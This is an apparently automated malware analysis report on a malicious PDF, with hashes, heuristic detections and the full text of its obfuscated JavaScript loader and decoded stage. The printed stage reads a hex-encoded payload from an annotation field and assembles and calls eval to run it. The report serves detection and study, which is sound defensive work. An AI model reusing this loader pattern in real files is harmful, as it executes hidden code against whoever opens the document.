Malicious PDF — malware analysis report

Static analysis result for SHA-256 27b821afd9ca45b7…

MALICIOUS

PDF

20.3 KB First seen: 2026-05-08
MD5: 805c0f230f3e07190016800c6c9b0426 SHA-1: 1a2e7a44db69d0b859b7f923337523a55ee6d09b SHA-256: 27b821afd9ca45b7c32efc5b72bba0c8a289f59f1e2575eaac5d0d23becac9ec
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The extracted JavaScript streams, particularly 'numeric_charcode_stage_000.js', suggest an attempt to obfuscate and execute code. The 'PDF_FOXIT_SYNCANNOTSCAN' heuristic points to a specific PDF exploitation technique involving character code manipulation to decode and evaluate JavaScript. This pattern is commonly used to download and execute further stages of malware.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9995

Heuristics 6

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • syncAnnotScan annotation-staging primitive low PDF_FOXIT_SYNCANNOTSCAN
    PDF JavaScript calls syncAnnotScan() — a no-op annotation-enumeration primitive used by exploit-kit JavaScript to stage payload reads from annotation /Subject fields before eval(). Not a vulnerable sink itself; rarely seen in legitimate PDFs. (identified after JavaScript deobfuscation)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0xE1 1814 bytes
SHA-256: b771a67801a2a024471cb29d8ce119b13dc98b5c56ef213dece7e1a5cc7b8bed
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,112,114,32,61,32,110,117,108,108,59,13,10,118,97,114,32,102,110,99,32,61,32,39,101,118,39,59,13,10,118,97,114,32,115,117,109,32,61,32,39,39,59,13,10,13,10,97,112,112,46,100,111,99,46,115,121,110,99,65,110,110,111,116,83,99,97,110,40,41,59,13,10,13,10,105,102,32,40,97,112,112,46,112,108,117,103,73,110,115,46,108,101,110,103,116,104,32,33,61,32,48,41,32,123,13,10,9,118,97,114,32,110,117,109,32,61,32,49,59,13,10,13,10,9,112,114,32,61,32,97,112,112,46,100,111,99,46,103,101,116,65,110,110,111,116,115,40,13,10,9,9,123,13,10,9,9,9,110,80,97,103,101,58,32,48,13,10,9,9,125,13,10,9,41,59,13,10,13,10,9,115,117,109,32,61,32,112,114,91,110,117,109,93,46,115,117,98,106,101,99,116,59,13,10,125,13,10,13,10,118,97,114,32,98,117,102,32,61,32,34,34,59,13,10,13,10,105,102,32,40,97,112,112,46,112,108,117,103,73,110,115,46,108,101,110,103,116,104,32,62,32,51,41,32,123,13,10,9,102,110,99,32,43,61,32,39,97,39,59,13,10,9,118,97,114,32,97,114,114,32,61,32,115,117,109,46,115,112,108,105,116,40,47,45,47,41,59,10,10,9,13,10,9,102,111,114,32,40,118,97,114,32,105,32,61,32,49,59,32,105,32,60,32,97,114,114,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,13,10,9,9,98,117,102,32,43,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,34,48,120,34,43,97,114,114,91,105,93,41,59,13,10,9,125,10,9,102,110,99,32,43,61,32,39,108,39,59,13,10,125,13,10,13,10,105,102,32,40,97,112,112,46,112,108,117,103,73,110,115,46,108,101,110,103,116,104,32,62,61,32,50,41,10,123,13,10,9,97,112,112,91,102,110,99,93,47,42,42,47,40,98,117,102,41,59,13,10,125,13,10"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }
numeric_charcode_stage_000.js deobfuscated-js numeric char-code string decoded JavaScript at offset 0xEF 469 bytes
SHA-256: 4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}

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